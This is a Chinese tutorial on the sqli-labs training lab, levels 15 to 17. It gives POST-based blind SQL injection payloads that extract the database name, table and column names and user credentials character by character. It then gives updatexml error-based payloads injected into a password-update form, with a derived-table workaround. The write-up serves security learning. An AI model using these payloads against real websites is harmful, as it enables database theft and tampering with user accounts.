sqli-lab靶场学习(五)——Less15-17(post方法盲注、修改密码)

前言

第11-14关开始用post方法,15-17关会用到盲注,post方法盲注和get方法类似。

Less15

这关是单引号闭合,有报错但没有具体情况的回显,因此适合使用错误盲注。

在用户名密码框分别输入

账号:admin' and 1=1  -- asd
密码:123456

页面返回正确

因此我们可以重复之前盲注的手法,具体字符就不逐个操作了,只列出对的情况。注入点在用户名那里,密码随便填写非空的即可

' or LENGTH(DATABASE())=8  -- asd
' or substr(database(), 1, 1)='s' -- asd
' or substr(database(), 2, 1)='e' -- asd
' or substr(database(), 3, 1)='c' -- asd
' or substr(database(), 4, 1)='u' -- asd
' or substr(database(), 5, 1)='r' -- asd
' or substr(database(), 6, 1)='i' -- asd
' or substr(database(), 7, 1)='t' -- asd
' or substr(database(), 8, 1)='y' -- asd

这样就猜出了当前数据库情况。用同样的方法,我们可以猜到可以找出在information_schema.tables中第四个表的表名是users:

' or (select LENGTH(table_name) from information_schema.tables where table_schema=database() limit 3,1)=4 -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' -- asd
' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' -- asd

之后用同样的方式,盲注找出列名:

' or (select LENGTH(column_name) from information_schema.columns where table_name='users' limit 4,1)=8 -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 1, 1)='u' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 2, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 3, 1)='e' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 4, 1)='r' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 5, 1)='n' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 6, 1)='a' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 7, 1)='m' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 4,1), 8, 1)='e' -- asd
' or (select LENGTH(column_name) from information_schema.columns where table_name='users' limit 5,1)=8 -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 1, 1)='p' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 2, 1)='a' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 3, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 4, 1)='s' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 5, 1)='w' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 6, 1)='o' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 7, 1)='r' -- asd
' or substr((select column_name from information_schema.columns where table_name='users' limit 5,1), 8, 1)='d' -- asd

盲注后匹配第四和第五个列名是username和password。 

之后盲注找出用户名和密码:

' or (select LENGTH(username) from users limit 0,1)=4 -- asd
' or ASCII(substr((select username from users limit 0,1), 1, 1))=68 -- asd
' or ASCII(substr((select username from users limit 0,1), 2, 1))=117 -- asd
' or ASCII(substr((select username from users limit 0,1), 3, 1))=109 -- asd
' or ASCII(substr((select username from users limit 0,1), 4, 1))=98 -- asd
' or (select LENGTH(password) from users limit 0,1)=4 -- asd
' or ASCII(substr((select password from users limit 0,1), 1, 1))=68 -- asd
' or ASCII(substr((select password from users limit 0,1), 2, 1))=117 -- asd
' or ASCII(substr((select password from users limit 0,1), 3, 1))=109 -- asd
' or ASCII(substr((select password from users limit 0,1), 4, 1))=98 -- asd

这里用了ascii码来匹配,因为账号密码是有大小写区分,但mysql默认配置里是不区分大小写。前面数据库名、表名、列名也可以用ascii码去匹配。如果数据库本身是区分大小写的话就一定要用ascii码来匹配。

其实总体来说和Less8没什么区别。所以很多内容直接从那里复制过来。具体可以参考一下《sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)》

Less16

这里只是把less15的单引号闭合改成 "),双引号+右括号。其他不变,所以就不重复列举了。

不过16关的标题提示我们用时间盲注来处理。其实也是可以的,参考Less9

Less17

这关有个很大的不同点,是让我们改密码。很显然,前面这么多关我们事实上都是在查询,但本关是做更新。

尝试了一些闭合,特点是报错的时候会有错误信息回显。所以可以用updatexml大法,同时注入点在密码框。

在用户名框和密码框分别输入:

admin
1' where updatexml(1,concat(0x7e,database(),0x7e),1)#'

可以看到报错信息:

和Less5的套路是一样的。接下来我们找出表名,根据less5的经验,我们在密码框输入:

1' where updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- asd

看到表名出来了。

之后就是找对应字段名:

1' where updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) -- asd
1' where updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e),1) -- asd

username和password就出来了。

之后就剩下用户名密码了:

1' where updatexml(1,concat('~',(select username from security.users limit 0,1),'~'),1) -- asd
1' where updatexml(1,concat('~',(select password from security.users limit 0,1),'~'),1) -- asd

这里没法回显,因为在 UPDATE 语句中使用了子查询,并且子查询中引用了待更新的目标表。所以我们这里要使用临时表来处理:

1' where updatexml(1,concat('~',(select username from (select username from users limit 0,1) as temp),'~'),1) -- asd
1' where updatexml(1,concat('~',(select password from (select password from users limit 0,1) as temp),'~'),1) -- asd

就查出来了。

小结

15和16关是post方法如何使用盲注来渗透,17关在update方法中进行渗透,并且在最后update时有个报错,不能用之前的updatexml大法语句,要使用临时表。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/966694.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WPS如何接入DeepSeek(通过第三方工具)

WPS如何接入DeepSeek 一、下载并安装OfficeAI插件二、配置OfficeAI插件三、使用DeepSeek功能 本文介绍如何通过 WPS 的第三方工具调用 DeepSeek 大模型,实现自动化文本扩写、校对和翻译等功能。 一、下载并安装OfficeAI插件 1、访问OfficeAI插件下载地址&#xff…

unity碰撞的监测和监听

1.创建一个地面 2.去资源商店下载一个火焰素材 3.把procedural fire导入到自己的项目包管理器中 4.给magic fire 0 挂在碰撞组件Rigidbody , Sphere Collider 5.创建脚本test 并挂在magic fire 0 脚本代码 using System.Collections; using System.Collections.Generic; usi…

ZU47DR 100G光纤 高性能板卡

简介 2347DR是一款最大可提供8路ADC接收和8路DAC发射通道的高性能板卡。板卡选用高性价比的Xilinx的Zynq UltraScale RFSoC系列中XCZU47DR-FFVE1156作为处理芯片(管脚可以兼容XCZU48DR-FFVE1156,主要差别在有无FEC(信道纠错编解码&#xff0…

Vim 多窗口编辑及文件对比

水平分割 :split 默认使用水平分割的方式。 :split :sp 垂直分割 :vsplit :vs 带文件的分割 :split 文件名 :sp 文件名 在光标所在的窗口,输入分割窗口命令就会对那个窗口进行分割。 切换窗口 Ctrlw 切换正在编辑的窗口 快速分割窗口 Ctrlwn 快速分割当前…

康谋方案 | BEV感知技术:多相机数据采集与高精度时间同步方案

随着自动驾驶技术的快速发展,车辆准确感知周围环境的能力变得至关重要。BEV(Birds-Eye-View,鸟瞰图)感知技术,以其独特的视角和强大的数据处理能力,正成为自动驾驶领域的一大研究热点。 一、BEV感知技术概…

uniapp实现人脸识别(不使用三方插件)

uniapp实现人脸识别 内容简介功能实现上传身份证进行人脸比对 遇到的问题 内容简介 1.拍摄/相册将身份证照片上传到接口进行图片解析 2.使用live-pusher组件拍摄人脸照片,上传接口与身份证人脸进行比对 功能实现 上传身份证 先看下效果 点击按钮调用chooseImage…

Unity游戏(Assault空对地打击)开发(7) 爆炸效果

效果 准备 首先请手搓一个敌军基地。 然后添加一个火焰特效插件或者自建。 爆炸脚本编写 新建一个脚本命名为Explode。 无需挂载到对象上。 首先是全部代码。 using System.Collections; using System.Collections.Generic; using System.Linq; using TMPro; using UnityEngine…

PlanLLM: 首个支持开放词汇与封闭集任务的跨模态视频程序规划框架

2025年1月7号,由杨德杰、赵子敬、刘洋联合提出PlanLLM,一种基于可微调大型语言模型(LLM)的跨模态联合学习框架,用于解决视频程序规划任务。通过引入LLM增强规划模块和互信息最大化模块,PlanLLM突破了现有方…

链表(LinkedList) 1

上期内容我们讲述了顺序表,知道了顺序表的底层是一段连续的空间进行存储(数组),在插入元素或者删除元素需要将顺序表中的元素整体移动,时间复杂度是O(n),效率比较低。因此,在Java的集合结构中又引入了链表来解决这一问…

[手机Linux] onepluse6T 系统重新分区

一,刷入TWRP 1. 电脑下载 Fastboot 工具(解压备用)和对应机型 TWRP(.img 后缀文件,将其放入前面解压的文件夹里) 或者直接这里下载:TWRP 2. 将手机关机,长按音量上和下键 开机键 进入 fastbo…

活动预告 |【Part1】Microsoft 安全在线技术公开课:安全性、合规性和身份基础知识

课程介绍 通过参加“Microsoft 安全在线技术公开课:安全性、合规性和身份基础知识”活动提升你的技能。在本次免费的介绍性活动中,你将获得所需的安全技能和培训,以创造影响力并利用机会推动职业发展。你将了解安全性、合规性和身份的基础知识…

从零开始玩转Docker:轻松开启容器化之旅

一、什么是 Docker Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。简单来说,Docker 就像是一个超级 “快递箱”&#xff0c…

为何实现大语言模型的高效推理以及充分释放 AI 芯片的计算能力对于企业级落地应用来说,被认为具备显著的研究价值与重要意义?

🍉 CSDN 叶庭云:https://yetingyun.blog.csdn.net/ AI 芯片:为人工智能而生的 “大脑” AI 芯片,又称人工智能加速器或计算卡,是专为加速人工智能应用,特别是深度学习任务设计的专用集成电路(A…

软件模拟I2C案例(寄存器实现)

引言 在经过前面对I2C基础知识的理解,对支持I2C通讯的EEPROM芯片M24C02的简单介绍以及涉及到的时序操作做了整理。接下来,我们就正式进入该案例的实现环节了。本次案例是基于寄存器开发方式通过软件模拟I2C通讯协议,然后去实现相关的需求。 阅…

【redis】数据类型之hash

Redis中的Hash数据类型是一种用于存储键值对集合的数据结构。与Redis的String类型不同,Hash类型允许你将多个字段(field)和值(value)存储在一个单独的key下,从而避免了将多个相关数据存储为多个独立的key。…

5.2Internet及其作用

5.2.1Internet概述 Internet称为互联网,又称英特网,始于1969年的美国ARPANET(阿帕网),是全球性的网络。 互连网指的是两个或多个不同类型的网络通过路由器等网络设备连接起来,形成一个更大的网络结构。互连…

深度学习模型蒸馏技术的发展与应用

随着人工智能技术的快速发展,大型语言模型和深度学习模型在各个领域展现出惊人的能力。然而,这些模型的规模和复杂度也带来了显著的部署挑战。模型蒸馏技术作为一种优化解决方案,正在成为连接学术研究和产业应用的重要桥梁。本文将深入探讨模…

网络与数据安全

目录 数据加密对称加密(Symmetric Encryption)非对称加密(Asymmetric Encryption)哈希算法(Hash Functions)数字签名(Digital Signature)密钥管理(Key Management&#x…

< OS 有关 > 利用 google-drive-ocamlfuse 工具,在 Ubuntu 24 系统上 加载 Google DRIVE 网盘

Created by Dave On 8Feb.2025 起因: 想下载 StableDiffusion,清理系统文件时把 i/o 搞到 100%,已经删除到 apt 缓存,还差 89MB,只能另想办法。 在网上找能不能挂在 Google 网盘,百度网盘,或 …

05vue3实战-----配置项目代码规范

05vue3实战-----配置项目代码规范 1.集成editorconfig配置2.使用prettier工具2.1安装prettier2.2配置.prettierrc文件:2.3创建.prettierignore忽略文件2.4VSCode需要安装prettier的插件2.5VSCod中的配置2.6测试prettier是否生效 3.使用ESLint检测3.1VSCode需要安装E…